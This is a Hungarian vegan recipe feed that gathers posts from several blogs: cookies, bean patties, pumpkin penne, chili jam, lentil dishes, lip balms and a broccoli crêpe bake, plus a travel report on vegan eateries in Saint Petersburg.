Most vastagabb kekszeket készítettem, mint szoktam és nagyon figyeltem a sütési időre is (előfordul, hogy megégetem a kekszeket, pláne, ha vékonyabbra formázom őket), így finom és inkább puha, mint nagyon ropogós kekszeket kaptam. Nekem nagyon bejön ez az állag, szerintem nehezebb is abbahagyni az evését… nemcsak a puhasága miatt, hanem a finomsága miatt is. Földimogyoróvaj, vanília, zabpehely, csoki cseppek… nyerő négyest alkotnak! Próbáljátok ki Ti is!
Földimogyoróvajas-csokoládés zabkeksz (vegán)
Hozzávalók:
– 1 bögre és 2 evőkanál sima földimogyoróvaj (házilag is elkészíthetjük)
– 1 bögre zabpehely
– 1 bögre tönköly fehérliszt
– 1 bögre nyers nádcukor vagy kókuszvirág cukor
– 1/4 bögre zabtej, plusz 1-2 evőkanál (bármilyen más növényi tej használható)
– 2 evőkanál lenmagpehely (darált lenmag)
– 6 evőkanál víz
– 1/3 bögre étcsokoládé cseppek (bármilyen csokoládé jó felaprítva is, de el is hagyható)
– 1 vaníliarúd kikapart magjai
– csipet só
Egy kis tálkában keverjük össze a lenmagpelyhet a vízzel és tegyük félre néhány percre. Melegítsük elő a sütőt 180C fokra. Egy tepsit béleljünk ki sütőpapírral.
Közben egy tálban keverjük össze a földimogyoróvajat a nádcukorral, a vaníliával, a sóval, majd adjuk hozzá a zabpelyhet és a lisztet. Öntsük hozzá a zabtejet és a zselés állagú vizes lenmagpelyhet. Nem áll a tészta teljesen össze, de ha egy kis adagot az ujjunkkal összenyomunk, akkor össze kell ragadnia. Ha van még nagyon száraz rész a tésztában, akkor adjunk hozzá egy evőkanál zabtejet.
Fagyis kanálba nyomkodjuk bele a tésztát és adagoljunk gombócokat a sütőpapírra (ha nincs fagyis kanál, akkor kézzel lehet kis gombócokat formálni). Majd ezeket a tenyerünkkel lapítsuk le kicsit. Az előmelegített sütőben süssük kb. 15 percig, amíg aranybarnák lesznek.
Vegán babfasírt
2016. január 12. Éltető ételek
Vacsorára szeretem az egyszerű fasírtokat, melyeket salátával vagy zöldségekkel kínálok. Most mustármagos répasalátát készítettem hozzá. Az összetevőket nézve a komplettálás elvének is megfelel, így teljes értékű fehérjét biztosít. Hamburgerbe is remekül megállja a helyét. Hozzávalók: - 25 dkg főtt vörös bab - 10 dkg aprószemű zabpehely - 1 vöröshagyma - 3 gerezd fokhagyma - 1 közepes sárgarépa - 1 szelet zeller - 5 dkg zsemlemorzsa - 1 evőkanál citromlé - 1 teáskanál mustár - só bors, majoranna, zeller levél - 1 evőkanál kókuszolaj Elkészítése: - A zabpelyhet öntsük le annyi vízzel, amennyi ellepi, hagyjuk megduzzadni a szemeket. - A botmixer késes darálójával dolgozzuk morzsásra a hagymát és a fokhagymát, majd külön a sárgarépát és a zellert.Egy serpenyőbe hevítsük fel a kókuszolajat, majd tegyük bele a morzsásra darált hagymát (vagy pici kockára is vághatjuk), majd kicsit később a zöldségeket.Sózzuk, borsozzuk, pici vízzel kb. 5 perc alatt pároljuk puhára.A főtt babot pürésítsük, adjuk hozzá az áztatott zabpelyhet és a párolt zöldségeket.Keverjük össze, majd mehet hozzá a zsemlemorzsa és a fűszerek.Jól keverjük össze, majd vizes kézzel csináljunk lapos pogácsákat.Kevés kókuszolajon pár perc alatt süssük meg mindkét oldalát. Fogyasztás előtt hagyjuk hűlni.
Sütőtökkrémes penne (vegán)
2016. január 10. Zizi kalandjai
Mostanában (az ünnepek előtt és a két ünnep között) sok tésztás étel készült nálunk, szóval ilyen receptből lesz néhány majd a blogon. Az első egy sütőtökkrémes penne tészta, amelyet a kókusztej tesz lággyá és krémessé. Kakukkfűvel fűszereztem, de jól működne rozmaringgal vagy szerecsendióval is. Ha van készen sült sütőtökünk, akkor pillanatok alatt elkészül ebédre vagy vacsorára ez a finom tészta étel.
Mi a Violife növényi parmezánját reszeltük a tetejére, amely állagában és illatában, ízében is hasonlít az eredeti parmezánra. Ha nincs ilyenetek, akkor házilag is készíthettek villámgyorsan parmezánt – ezzel is nagyon finom!
Sütőtökkrémes penne (vegán)
Hozzávalók:
– kb. 500 g sütőtök, megsütve
– 1 fej vöröshagyma vagy lilahagyma, felkockázva
– 3-4 gerezd fokhagyma, felaprítva
– 1 bögre kókusztej
– 1 bögre zöldség alaplé
– 2 evőkanál kókuszzsír
– 350 g penne tészta
– vegán parmezán, reszelve
– só, bors
– kakukkfű (friss vagy szárított)
(A recepthez használt bögre 250 ml-es.)
A krémet elkészíthetjük főtt vagy sült sütőtök húsból is, de az én véleményem szerint a sült sütőtöknek sokkal finomabb az íze, mint a vízben főzöttnek, ezért ajánlom a sült változatot. Ehhez a sütőtököt szeletekre vágva süssük meg 180 C fokon a sütőben.
Egy lábasban közepes láng felett hevítsük fel a kókuszzsírt és dinszteljük néhány percig a vöröshagymát, majd adjuk hozzá a fokhagymát és azzal együtt főzzük még 4-5 percig. Adjuk a hagymához a megsült, héjából kikanalazott sütőtök húst, öntsük hozzá a kókusztejet és zöldség alaplevet. Jól keverjük el és főzzük 15-20 percig, alkalmanként keverjük meg. Ízlés szerint sózzuk, borsozzuk és fűszerezzük egy kevés kakukkfűvel.
Közben a tésztát főzzük ki al dente (fogkemény) állagúra a csomagoláson található utasítás szerint.
Az elkészült sütőtökös szószt botmixerrel pürésítsük teljesen simára, majd öntsük a kifőtt tésztára. Tálaljuk azonnal reszelt parmezánnal a tetején.
Chili lekvár
Ha szereted az édes csípős ízeket, akkor ez a házilag is könnyedén elkészíthető chili lekvár igazi kedvenceddé válhat. Chili és lekvár? “Hogy jön ez össze?” – teheted fel a kérdést. A kínai éttermekben találkozhattál hasonló édes csípős édes savanyú ízekkel. Az alapvető különbség, hogy azok sima mártások, de ezt valóban hívhatod lekvárnak, mivel főzni kell. Nézzük, hogyan készül a chili lekvár. Chili lekvár összetevők 5db chili paprika 25dkg kápia paprika 25dkg piros kaliforniai paprika 3 gerezd fokhagyma (szerintem elbír többet is) 4-5cm-es gyömbér 25 dkg kókuszvirág cukor (bármilyen más cukorféle is megteszi) 1dl almaecet 1 csipet só fél csomag stabark növényi zselésítő (bármilyen más növényi zselésítő is jó lesz) Chili lekvár elkészítése A kápia és kalifornia paprikákat főzd puhára körülbelül 30 perc alatt, majd vedd ki a vízből, hogy ne ázzon ki belőlük az ízük és hagyd kihűlni őket. Miután kihűltek a paprikák, vágd ki a magházat és hámozd meg a zöldségeket. Ezután hámozd meg a paradicsomokat és vágd őket apró szeletekre úgy, hogy megmaradjon a levük is. A hámozott, főtt paprikákat és a felvágott paradicsomot tedd egy főzőedénybe, majd add hozzá az almaecetet, a kókuszvirág cukrot, passzírozd bele a fokhagymákat, reszeld bele a gyömbért, valamint szórd bele a sót. Hozzávetőleg negyed órát főzd, majd annyi ideig turmixold, amíg püré állagú nem lesz. Végül add hozzá a fél csomag növényi zselésítőt, majd forrald az egészet 1-2 percig. A főzés részével készen is vagy. Amikor elkészül a chili lekvár öntsd bele kifőzött, sterilizált üvegekbe, majd száraz dunsztban hűtsd le a már elkészült chili lekvárt. Mivel édeskés és egyben csípős is ez a finomság, így sós és édes ételekhez is szívesen fogyasztom és neked is szívesen ajánlom lényegében bármihez – na jó, babfőzelékhez és karalábé leveshez nem –, bármilyen napszakban akár reggelihez, uzsonnához, ebédhez vagy vacsorához, de legfőképpen előételként. Egészségedre!
Kristóf féle pásztorpite kicsit másképp
Újból fellapoztam Kristóf könyvét, ma ezt a finomságot választottak ki. Néhány hónappal ezelőtt már egyszer elkészítettem, akkor még az oldaláról "lestem" el a receptet. Most sem követtem mindent a leírásnak megfelelően, próbáltam egy picit a saját ízlésemre alakítani. Hozzávalók (2 adag): krumplipüré: - 3-4 krumpli - 2-3 gerezd fokhagyma - 1 evőkanál kókuszolaj - só, bors - zöldfűszer: metélőhagyma, zeller, petrezselyem ragu: - 1 evőkanál kókuszolaj - 1 vöröshagyma - 2 gerezd fokhagyma - 1 kisebb padlizsán felkockázva - 2 nagy gomba felszeletelve - 1 piros paprika (pl. kápia vagy kaliforniai) - 1 csésze főtt csicseriborsó - kb. 1,5 dl paradicsomlé/püré - kb. 0,5 dl vörösbor - víz - só, bors, oregano, füstölt pirospaprika, őrölt kömény Elkészítése: - A krumplit hámozd meg, kockázd fel, és vízben tedd fel főni. Sózd meg, és a megtisztított fokhagymát is tedd mellé. Ha megfőtt, öntsd le róla a vizet, add hozzá a kókuszolajat és a zöldfűszereket, jól pürésítsd. - Egy serpenyőbe olvaszd fel a kókuszolajat, és dobd bele az apróra felkockázott vöröshagymát. reszeld bele a fokhagymát is. Kevergesd, majd önts hozzá egy pici vizet, és hagyd elfőni. - Add hozzá a kis szeletekre vágott piros paprikát. Ismét következik úgy 5 perc keverés, majd a padlizsán, kicsit később a gomba következik. Apránként adagold hozzá a paradicsomlét és a vörösbort, és szükség szerint vízzel pótold. Kevés lé mindig legyen alatta. Lefedve (időnként megforgatva) kb. 20 percig rotyogtasd. Kóstold meg, szükség szerint még fűszerezd. Borítsd bele a megfőtt csicseriborsót, még vagy 5 perc összefőzés, és készen is van.Egy jénaiba terítsd szét a ragut, majd simítsd rá a fűszeres krumpipürét. A tetejét szórd meg pici füstölt pirospaprikával.Előmelegített sütőben (180fok), úgy 30 perc alatt süsd meg.Tálalás előtt hagyd úgy 20 percig állni, hogy a krumpli egy picit dermedjen.
Vegán étterem Szentpéterváron
Három napot töltöttünk Oroszországban és megnéztük, hogy van-e vegán étterem Szentpéterváron.
Most voltunk a feleségemmel először Oroszországban. Nem nagyon tudtuk mire számíthatunk vegán fronton, és végül nagyon kellemes és izgalmas meglepetés ért minket. Kifejezetten vegán éttermeket vadásztunk a Happy Cow applikáció segítségével és kidobott kettőt. Úgy voltunk vele, hogy első két napon leteszteljük ezeket, majd utána egy vega-vegán étterembe is elnézünk. Így akadtunk rá szerintünk a “legfurább vegán étterem Szentpéterváron” cím győzteseire. És miért a “cím”? Mert ilyen kalandos módon megtalált vegán helyeken még sohasem ettünk.
Dya Dya Fadi – vegán étterem Szentpéterváron
Szentpétervár leghíresebb sugárútja a Nevsky prospekt. Erről az útról nyílik a Dumskaya ulitsa, ahol a Happy Cow alkalmazás jelölte a Dya Dya Fadit. Halálos éhséggel küszködve befordultunk a Dumskaya utcába, ahol nem találtuk az éttermet. Körbesétáltuk a tömböt kétszer és kerestünk valami útbaigazító kiírást. Végső elkeseredésünkben beültünk egy teázóba és az ottani angolul elég gyengén beszélő személyzettel próbáltunk megoldást találni. Szerencsénkre az egyik felszolgáló ugyan a helyet nem ismerte, de a Happy Cow által közzétett cím és leírás alapján azt mondta elkísér minket.
A teaház melletti sikátorba vitt be minket a srác, majd egy jobbra található kapunál beütött egy kódot és beléptünk egy emeletes épület belső udvarába. Ott keresztül mentünk az udvaron fel egy picike lépcsőn majd be a ház előterébe, ahol a fiatal srác rámutatott az első lakás ajtajára, ahova be is kopogott. Mi csak pislogtunk, nem értettük, hogy “mivan”, majd az ajtó kinyílt és pár mosolygós fiatal nézett ránk bentről. Megmondtuk honnan jöttünk és mit keresünk, majd ujjongásban kitörve tessékeltek be minket a lakásba. Ez volt a Dya Dya Fadi vegán étterem Szentpéterváron.
Tehát a Dya Dya Fadi egy lakásból átalakított, fiatalok által üzemeltetett étterem, mely három szobájából az egyik volt a konyha, a másik az éttermi rész a harmadik pedig egy yoga terem. Mint kiderült falafelt készítenek egy féle aktuális édességgel, melyet egy gyors csevej után kikértük és leültünk. A falafel eszméletlenül finom volt és aránylag olcsónak mondható. 120 rubel volt 1db falafel és 30 rubel 1db datolyás kókuszgolyó. Ez összesen körülbelül 600-700 Ft-nak felel meg, és a falafel budapesti viszonylatban nagynak számítana, gazdagon töltve minden földi jóval. A Happy Cow alkalmazás értékelésében egyébként több helyen utalnak a nehéz megközelíthetőségre, azonban a szokatlan élmény és a nagyon finom falafel mindenképpen megéri az izgalmakat. Ez volt az első vegán étterem Szentpéterváron, ahova betértünk.
Nyitvatartás: hétfőtől vasárnapig – 11:00-23:00
Cím: Szentpétervár, Dumskaya Ulitsa 68. Kapukód: 2460
Telefonszám: +79627020025
Fizetési módok: csak készpénz
Az alábbi sorokra kattintva találhattok képeket az ételekről:
Falafel a Dya Dya Fadiban
Datolyás kókuszgolyó a Dya Dya Fadiban
Veggie Box – vega/vegán étterem Szentpéterváron
Az első nap után titkon azt reméltük, hogy csak a Dya Dya Fadi ilyen kalandosan meglátogatható vegán étterem Szentpéterváron és újult erővel vágtunk neki ebédidőben az aznapra kiválasztott vegán éttermet, a Horizontalt megkeresni. Melyet végül nem sikerült megtalálnunk csak harmadnap, de ahhoz már kellett a Veggie Box legénysége. De ennyire ne szaladjunk előre.
A Ligovsky Prospekt 74 szám alatt kerestük a Horizontalt, mely címet és térképhelyszínt a Happy Cow dobott ki. Nagyjából ugyanannyi információ várt ránk a kapuban, mint előző nap. Azaz semmi. Egy műanyag ajtón jöttek mentek a fiatalok, így a példájukat követve mentünk be az épület belső udvarára, aminek a hátsó felében üvegfalú konténerek voltak egymás mellé rakva. Ezek a konténerek voltak kialakítva kávézónak, kajáldának, cipőboltnak stb. Ugyan jobb kéz felől rögtön az udvar elején be lehetett menni az emeletes épületbe de inkább az udvar hátsó része felé vettük az irányt az üvegfalú konténerekhez. Ott leledzett a Veggie Box vegetáriánus és vegán étterem Szentpéterváron.
Ahogy az a képeken is látszik, kifejezetten street fooder hely a Veggie Box, ahol maximum két ember tud leülni enni és még két ember tud rendelni, így az orosz fiatalok leginkább elvitelre kértek mindent. Azonban választék az van szépen. Hamburgerek, tésztaételek, pizzák, levesek, édességek. Mi hamburgert, pizzát és édességet ettünk. A hamburgerük nagyon finom volt, azonban a pizzájukra azt kell mondjam, hogy a legfinomabb vegán pizzát ettük ott, mellyel valaha találkoztunk. Ugyan szójás volt aminek annyira nem örültem, de a tésztát és a feltétet is úgy ízesítették, aminek nyomába itt Pesten semmi nem ér. Az árak elfogadhatóak voltak, az egyik képen látjátok alább. A helyet fiatalok üzemeltették – ugyanúgy, ahogy a Dya Dya Fadit – akikkel nagyon gyorsan összebarátkoztunk és elbeszélgettünk a Szentpétervári vega-vegán színtérről, valamint megkérdeztük, hogy merre találjuk a Horizontal vegán éttermet, melyet igazából kerestünk.
Nyitvatartás: 12:00-22:00
Cím: Szentpétervár, Ligovsky Prospekt 74.
Telefonszám: +79650038558
Fizetési módok: csak készpénz
Az alábbi sorokra kattintva találhattok képeket az ételekről:
Pizza a Veggie Box-ban
Spenótos hambi a Veggie Box-ban
Erdei gyümis süti a Veggie Box-ban
Horizontal – vegán étterem Szentpéterváron
Harmadik napon csak egy délelőttünk volt, mivel délután indult a gépünk, és már szinte reménykedni sem mertünk, hogy a Dya Dya lakásbisztró és a Veggie Box streetfood konténere után a Horizontal egy tényleges vegán étterem Szentpéterváron. Hát nem is az! Miután előző nap elmondták, a Veggie Box-os srácok, hogy ugyanabból a kertből nyílik a Horizontal mint a konténerük, bizony megörültünk. A belső udvar bejáratához képest jobb kézre esik az emeletes épület bejárata, melybe be kellett mennünk a Horizontalhoz. Az épület egy lisztfeldolgozó üzem volt még a 80-as években, melyet később felszámoltak, majd kisebb átalakítások után a különböző helyiségeket üzlet és kajálda bérleményekként üzemeltették tovább.
A Horizontal az első lépcsőfordulóban található szembe a lépcsőház bejáratával. Mivel a hely neve csak cirill betűkkel volt kiírva, így az útbaigazítás és a falon olvasható “vegan break” feliratból tudtuk csak kikövetkeztetni, hogy jó helyen járunk. Az “étterem” úgy nézett ki, hogy a lépcsőfordulóban található ajtón, volt egy kiadó ablak. Azt már mindenki kitalálhatta, hogy az étel kiadás bizony a kiadó ablakon történt, az étkezés pedig ott, ahol szimpatikusnak véltük az épületben.
Ottlétünk harmadik napján sajnos a Horizontal nem nyitott ki egykor, mi pedig a gép indulása miatt nem várhattunk arra, hogy kinyisson így sajnos nem tudjuk milyen ételeket készítenek. Ha a kajálda furcsasági skálázás egyenesen arányos a ételek finomságával akkor ez a tuti befutó vegán étterem Szentpéterváron.
Nyitvatartás: 13:00-22:00
Cím: Szentpétervár, Ligovsky Prospekt 74.
Fizetési módok: csak készpénz
Azt nem tudjuk, hogy a többi orosz városban mi a helyzet, de azt figyeltük meg, hogy mindenevő éttermek sem kifejezetten hússal hirdetik magukat Szentpéterváron. Sokkal nagyobb hangsúlyt fektetnek a zöldséges vagy zöldségekből készült ételekre és nagyrészt ezeket is pakolják ki a kirakatba.
A két 100%-osan vegán hely és a Veggie Box mellett, számos vegetáriánus-vegán étterem van Szentpéterváron, ajánlottak is sokat közülük a fiatalok de idő híján csak ezekre futotta. Remélem hamarosan visszatérhetünk és addigra még több lesz az izgalmas vegán étterem Szentpéterváron.
Dahl, avagy az indiai vöröslencseragu
Új év, új ízek. A családom nem nagyon kedveli az indiai fűszerezésű ételeket, de ma mégis ennek az ételnek az elkészítésére esett a választásom. Hogy miért? Gyorsan elkészül, nem kell a lencsét előre áztatni, és ezen a téli napon kifejezetten jól esik a csípős, fűszeres ízvilág. Nagyon sok dahl recept kering a neten, közös ismertetőjegyük, hogy indiai fűszerezésűek, és sűrűre vannak főzve. Most Steiner Kristóf receptjét próbáltam követni, bár én nem mertem olyan erős fűszerezést véghez vinni, mint amit ő ajánlott. :) De így is nagyon finom lett. Mivel gyors ebédre volt szükség, ezért nem barna rizst főztem hozzá, hanem a DM-ben kapható parbolied rizst. Ez nem egy rizsfajta, hanem egy rizs feldolgozási eljárás. Ugyanis a rizs vitamin- és az ásványi anyag tartalma az ezüsthártyában található. Azért, hogy az ásványi anyagok veszteségét a hántolással elkerüljék a parboiling eljárást fejlesztették ki: vízgőz és nyomás hatására a tápanyagokat a maghoz nyomják. A felszín keményítése után a vízgőz által történő kezeléskor a magokat polírozzák és így a magban marad a vitamin- és ásványianyag tartalma (rost tartalma viszont csökken). Az így kezelt rizs színe barnás, üveges (de semmiképp nem fehér), viszont a főzés során kifehéredik. Ugyanakkor azt tudni kell, hogy nem minden előgőzölt rizs parbolied. Hántolt, fehér rizst is árulnak előgőzölve. Egyébként ebben a receptben az a szuper, hogy ha hígabbra főzzük, akkor készülhet belőle krémleves, ha sűrűbbre, akkor főzelékként is tálalhatjuk egy zöldséges fasírt kíséretében, vagy indiai módra, rizzsel, esetleg lepénykenyérrel. ... és akkor most jöjjön a recept. Hozzávalók (2 adag) - 1 bögre vöröslencse - 1 kisebb vöröshagyma - 2 gerezd fokhagyma - 2 evőkanál kókuszolaj - 1 kávéskanál őrölt gyömbér - 1/2 kávéskanál kurkuma - 1/2 kávéskanál őrölt kömény - 1 kávéskanál curry (én a Tesco Finest márkájút vettem, nagyon kiadós és gazdaságos) - 2-3 kisebb babérlevél - só, bors, chili - csipet szárított narancs- és citromhéj (a DM-ben veszem ezt is) Elkészítése: - Egy lábasba hevítsük fel a kókuszolajat, majd dobjuk rá az apróra vágott hagymát és a reszelt fokhagymát. - Pirítsuk, keverjük, hagyjuk picit karamellizálódni, majd mehetnek hozzá a fűszerek (a babérlevél kivételével). - Pirítsuk együtt pár percig, majd borítsuk rá az átmosott vöröslencsét. Pár perces együtt pirítás után öntsük fel vízzel, úgy 2 ujjnyira lepje el a lencsét. Ekkor mehet hozzá a babérlevél is. - Lassú tűzön főzzük puhára (kb. 20 perc), kóstoljuk meg, és ha szükséges, akkor még ízesítsük. - Főtt barna rizzsel (vagy parbolied rizzsel) tálaljuk.
2015 lencsevége
Január elseje közeledtével ösztönösen nyúlunk bevásárláskor a lencse után. Újévi levesünk, főzelékünk elengedhetetlen része, függetlenül attól, hiszünk e babonákban. A lencse és más szemes termés (bab, rizs, köles) a szaporaság, termékenység szimbóluma, a velük kapcsolatos hiedelem úgy tarja: újév első napján belőlük elkészített étel egész évre gazdagságot hoz. Én magam nem hiszek a babonákban, de a téli táplálkozási repertoár szélesítésekor a lencse jelentőségét csak támogatni tudom. Rendkívül tápláló ételek készíthetők belőle, mert a lencsének magas a rosttartalma, kevés a zsírtartalma és kiváló fehérjeforrás. Gazdagságunkat, jólétünket leginkább a belőle több alkalommal és változatosan elkészített leves, egytálétel, saláta fogja biztosítani egész évben. Téli Zöld múzsa vegetáriánus vacsoraestünkön kaptuk lencsevégre ezt a narancsos-sütőtökös változatot, aminek ízvilágát újév első napján bevetve, szokatlanul új élményekkel teli esztendőnek nézhetünk elébe. Így születnek az új babonák, kérem! fotó: Csermák Zsuzska Narancsos lencse curry sütőtök ágyon ( 4 fő részére): - 1 közepes méretű sütőtök - olívaolaj - 20 dkg lencse - 3 db babérlevél - 1 kk. szódabikarbóna - 3-4 ek. kókuszzsír ( vagy egyéb zsiradék ) - kb. 10 cm-es darab póréhagyma - 2 sárgarépa apró kockákra vágva - kis darab friss gyömbér reszelve - 3-4 gerezd fokhagyma apróra vágva - 1 narancs héja és frissen facsart leve - 1 ek. római kömény - só ízlés szerint - opcionálisan egy csipet chili őrlemény - 1-1.5 dl zöldség alaplé ( vagy víz ) - 1-2 ek. kukoricakeményítő Tálaláshoz: - petrezselyem, spenót levél, tejföl ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- A sütőtököt vágjuk fel és kanalazzuk ki a magos részét. Vágjuk fel kisebb darabokra, dörzsöljük be olívaolajjal, sózzuk, borsozzuk és süssük meg 175 fokon sütőlemezen. Tartsuk melegen, amíg a lencse curry elkészül. A lencsét főzzük meg, a főzővízbe tegyünk babérlevelet és a puhulás támogatására szódabikarbónát. A só gátolja ezt a folyamatot, ezért itt ne használjuk. Ha megpuhult szűrjük le. Míg a lencse fő, pucoljuk meg a répát és vágjuk apró kockákra. A póréhagymát is aprítsuk fel. Egy magasabb falú serpenyőben hevítsük fel a zsiradékot, dobjuk rá a póréhagymát, majd a fokhagymát, gyömbért és a fűszereket és óvatosan pirítsuk. A zöldségalapléből folyamatosan adagoljunk hozzá keveset, hogy ne égjen meg. Tegyük bele az apróra vágott répát és a maradék alaplevet és kb. 10-15 percig fedő alatt pároljuk. Ha a répa már ress, adjuk hozzá a megfőtt és leszűrt lencsét, a narancs héját és így pároljuk tovább. Amikor elkészült, a keményítőt keverjük ki a frissen kifacsart narancs levével és csorgassuk bele az ételbe. Várjuk meg, míg a keményítő kicsit összehúzza, majd vegyük le a tűzről. Tálaláskor minden sütőtök darabra halmozzunk a lencse curryből, locsoljuk rá meglangyosított tejfölt és szórjuk meg apróra vágott petrezselyemmel. fotó: Csermák Zsuzska
Kókuszcukros-fahéjas mandula
2015. december 28. Éltető ételek
Hát, ezt mindenképp próbáljátok ki, de tudjátok... csak mértékkel. Igazán eteti magát, úgyhogy oda kell figyelni, hogy ne legyen sok belőle. Hozzávalók: - 10 dkg mandula - 2 dkg kókuszvirágcukor - 1/2 rúd vanília (vagy késhegynyi vaníliapor) - 1/2 mokkáskanál fahéj - 2-3 evőkanál kókusztej Elkészítése: A mandulát száraz serpenyőben pár perc alatt pirítsuk meg. Folyamatosan rázogassuk, hogy ne égjen meg.Öntsük ki a serpenyőből a mandulát, majd egy picit hagyjuk hűlni (mármint a serpenyőt). Kis idő múlva öntsük bele a kókuszvirágcukrot, a fűszereket és a tejet.Keverve-kavarva melegítsük össze. Először elolvad a cukor, majd elkezd sűrűsödni. Ekkor adjuk hozzá a mandulát.Jól forgassuk össze, majd villával óvatosan mozgassuk a mandulát. Amikor már csomósodik a mandulán a cukor, akkor öntsük ki a serpenyőből, és hagyjuk kihűlni.Ha teljesen kihűlt, akkor az összeragadt mandulát szét lehet törni.Ez a mandula önmagában is finom, de akár a raffaellóba is kerülhet.
Ehető kencék: Banános és csokoládés ajakbalzsam
2015. december 20. Zizi kalandjai
Említettem már korábban, hogy mostanában szoktam kísérletezgetni ehető kozmetikumokat illetően, vagyis készítek olyan kencéket, amelyeket akár el is fogyaszthatnánk.
Imádom a kis tégelyekbe zárt ajakbalzsamokat szagolgatni üzletekben, de mindig kíváncsian olvasom el a nagyon apróbetűvel írt összetevőket a tégelyek túloldalán. Néha találok olyan “hozzávalókat”, amelyeket nem szívesen juttatnék a szervezetembe, így bármennyire is csodás az illatuk és csábítóak, nem veszem meg őket. Kutatgattam a neten és rájöttem, hogy könnyen el tudok készíteni én is csodás, illatos, krémes ajakápolókat, és nem kell laborral rendelkeznem, hogy ezeket összeakjam. Néhány alapanyagot be kellett szereznem (pl. innen és innen vagy innen), de utána már minden egyszerűen ment. Kiváló ajándékok lehetnek karácsonyra, de akár születésnapra, névnapra, anyák napjára, stb., szóval mentsétek el a receptet!
Három “ízzel” kísérleteztem… készült egy banános – illetve ebből még egy édesnarancsos ajakbalzsam (karácsonyi ízvilágot idézve) -, valamint csokoládés. A banánosba igazi banán, a csokoládésba igazi csokoládé is került, nyamm és barna színe miatt először enyhén barnára színezi az ajkakat, de, amint jól bedörzsöljük az ajkakba, eltűnik a barna szín.
Csókos, édes ajkakra fel!
Banános/édesnarancsos ajakbalzsam
Hozzávalók (kb. 3 db 15 ml-es tégelyhez):
– 1 púpozott evőkanál méhviasz
– 1 evőkanál mandulaolaj
– 1 evőkanál kókuszolaj
– 1 evőkanál jojobaolaj
– 2 cseppnyi nagyon pépesre, krémesre zúzott banán
– VAGY 30 csepp édesnarancs illóolaj (100 % tisztaságú)
Vagy vízgőz felett egy hőálló tálban vagy egy kis hőálló főzőpohárban, amelyet a vízzel teli kis lábasba helyezünk, olvasszuk fel a méhviaszt. Lassan adjuk hozzá a mandulaolajat, a kókuszolajat és a jojobaolajat.
Ha minden felolvadt és egynemű lett, vegyük le a tűzhelyről a tálat vagy főzőpoharat. Ha az édesnarancsos változatot készítjük, akkor tegyünk bele 30 csepp édesnarancs illóolajat, adagoljuk tégelyekbe, várjuk meg, amíg kihűlnek, megszilárdulnak és tegyük rájuk a tetejüket.
Ha a banános verziót készítjük, akkor kb. egy fél banánt (legalább ekkora mennyiség kell, hogy nagyon pépesre tudjuk krémesíteni a banánt) villával törjünk pépesre, majd botmixerrel pürésítsük teljesen simára. Nagyon pici mennyiséget – egy-két késhegynyit – adjunk a felolvasztott olajokhoz, keverjük el fa spatulával és szintén adagoljuk tégelyekbe, hagyjuk kihűlni, majd utána zárjuk le.
Csokoládés ajakbalzsam
Hozzávalók (kb. 3 db 15 ml-es tégelyhez):
– 1 púpozott evőkanál kakaóvaj
– 1 evőkanál + 2 teáskanál mandulaolaj vagy kókuszolaj
– 1 evőkanál méhviasz
– 1/8 teáskanál E vitamin olaj
– 2-3 kocka jó minőségű étcsokoládé
A csokoládét vízfürdő felett egy külön tálban olvasszuk fel.
A többi alapanyagot (kakaóvaj, mandulaolaj/kókuszolaj, méhviasz) vízgőz felett egy hőálló tálban vagy egy kis hőálló főzőpohárban, amelyet a vízzel teli kis lábasba helyezünk, olvasszuk fel. Adjuk az elkészült keverékhez az E vitamin olajat, keverjük el, majd öntsük hozzá az olvasztott csokoládét és ezzel is keverjük el.
Adagoljuk tégelyekbe, várjuk meg, amíg kihűlnek, megszilárdulnak és tegyük rájuk a tetejüket.
Vegán brokkolis rakott palacsinta
2015. december 19. Vegán lettem
Vegán brokkolis rakott palacsinta a karácsonyi céges vacsira? Hát persze. Nálunk mindenki készít valami finomságot és azzal lepjük meg a többieket. Én egy ilyet követtem el.
A céges karácsonyi vacsorára a már jól bevált édes vegán rakott palacsinta dukált részeméről, de megelőztek a többiek édesség terén, így ki kellett valami mást találnom. Valami főételt. A palacsintát nem akartam elvetni, így valami rakott dologban gondolkodtam, azt nem lehet elrontani alapon. A gombás tölteléket jelen esetben elvetetettem és letettem a voksomat a brokkolira. Így készült el a vegán brokkolis rakott palacsinta.
Vegán brokkolis rakott palacsinta hozzávalók
Tészta:
400g graham búzaliszt (graham liszt helyett bármilyen lisztet használhatsz, én azért választottam ezt, mert ez volt itthon)
7dl ásványvíz
10g kókuszzsír
negyed póréhagyma (medvehagymával is nagyon finom lesz)
só
Töltelék és öntet:
1kg brokkoli (kb. két fej)
7dl vegán tejföl
2db közepes méretű chili madárszem (bármilyen más chili is megteszi)
pirospaprika
bors
só
petrezselyem
oregánó
Vegán brokkolis rakott palacsinta elkészítése
Add hozzá a graham búzaliszthez a 1,5l ásványvizet apránként és keverd el csomómentesre a tésztát. Nem lesz nehéz dolgod ezzel, mivel a graham liszt eléggé szemcsés liszt. Miután ez megtörtént vágd fel hosszúkás szálakra a póréhagymát és keverd a tésztához, majd adj hozzá annyi sót a nyers alapanyaghoz amennyit indokoltnak érzel. Ezután süsd ki a palacsintákat.
Miután készen vagy a palacsintákkal készítsd el a tölteléket és az öntetet. Vágd le a brokkolik zöldjét a torzsáról és vágd egészen apró darabokra. A torzsát is vágd fel, de azt tedd egy turmixgépbe kevés vízzel és turmixold össze. Ezután öntsd össze a brokkoli zöldjét az összeturmixolt torzsájával egy serpenyőbe, tegyél rá sót, piros paprikát, borst, és a 2db közepes méretű chili madárszemet, majd tedd fel kis lángon párolódni. Miután megpuhult a brokkoli adj hozzá 6dl vegán tejfölt és hagyd rottyanni egyet.
A vegán brokkolis rakott palacsinta magas falú, kerek jénai tálba kell készüljön. A tál aljára tegyél be egy palacsintát, rá annyi tölteléket, hogy néhol kilátszódjon a palacsinta, majd megint egy palacsintát és jöhet rá megint a töltelék. Ezt folytasd addig, amíg meg nem telik a tál. Majd 1dl vegán tejfölt keverj össze petrezselyemmel és oregánóval, majd vékonyan kend meg a rakott palacsinta tetejét. Végül a vegán brokkolis rakott palacsinta süljön kb. 30 percig a 200°C-ra előmelegített sütőben. Hagyd kihűlni, majd tálald. Jó étvágyat!
A vegán brokkolis rakott palacsinta elkészítése kb. 2,5 óra.
Tejszínhab tej nélkül? Lehetséges!
2015. december 18. Gréta konyhája
Ha tej, azt mondom kókusztej, mandulatej, mogyorótej, rizstej, máktej...
Ha tejföl, joghurt, akkor azt mondom szójatejföl, szójajoghurt, kókuszjoghurt, magtejfölök...
